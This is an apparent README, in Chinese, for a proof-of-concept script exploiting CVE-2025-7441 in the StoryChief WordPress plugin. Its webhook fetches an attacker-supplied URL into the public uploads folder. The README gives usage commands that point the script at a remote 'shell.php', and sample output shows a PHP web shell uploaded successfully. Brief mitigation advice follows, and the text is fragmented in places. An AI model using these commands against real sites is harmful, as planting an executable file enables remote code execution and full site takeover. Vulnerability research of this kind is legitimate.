/wp-json/storychief/webhookdata.featured_image.data.sizes.full),并在此 URL 上执行服务器端 HTTP GET 请求,但缺少充分的验证(无域名白名单、MIME/内容检查不足,且文件保存于公共上传路径)。wp-content/uploads/YYYY/MM/<filename>)。若上传的文件可被服务器解释/执行(例如 PHP 文件且服务器允许在该路径下执行 PHP),则可能导致远程代码执行 (RCE) 及完全控制站点。CVE-2025-7441)此脚本自动化了该漏洞的典型利用验证流程:
data.featured_image.data.sizes.full。meta.mac。<site_url>/wp-json/storychief/webhook。<site_url>/wp-content/uploads///
如果文件响应 HTTP 200,脚本报告成功;否则打印 <failed to upload>。
脚本包含以下标志:--file-url、--verbose、--use-curl 和 --retries。
python3 CVE-2025-7441.py <site_url>
<site_url> — 目标站点的基础 URL。例如:http://127.0.0.1:5000/ 或 https://target.example/--file-url — 覆盖 PoC 使用的默认远程文件 URL。默认值:硬编码的示例原始 GitHub URL。例如:--file-url https://127.0.0.1:5000/zip.php--verbose — 启用详细输出(打印请求/响应详情及检查进度)。--use-curl — 使用 curl 子进程发送 POST 请求(备选模式)。需要安装 curl。--retries — 检查文件预期上传路径的尝试次数。默认值:1。例如使用 --retries 5 来多次轮询。python3 CVE-2025-7441.py http://127.0.0.1:5000/
指定自定义远程文件 URL
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
详细输出和多次检查
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
使用 curl 发送 POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
输出:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
缓解与修复 短期:
/wp-json/storychief/webhook。开发者指导:
wp-content/uploads 中上传文件的执行。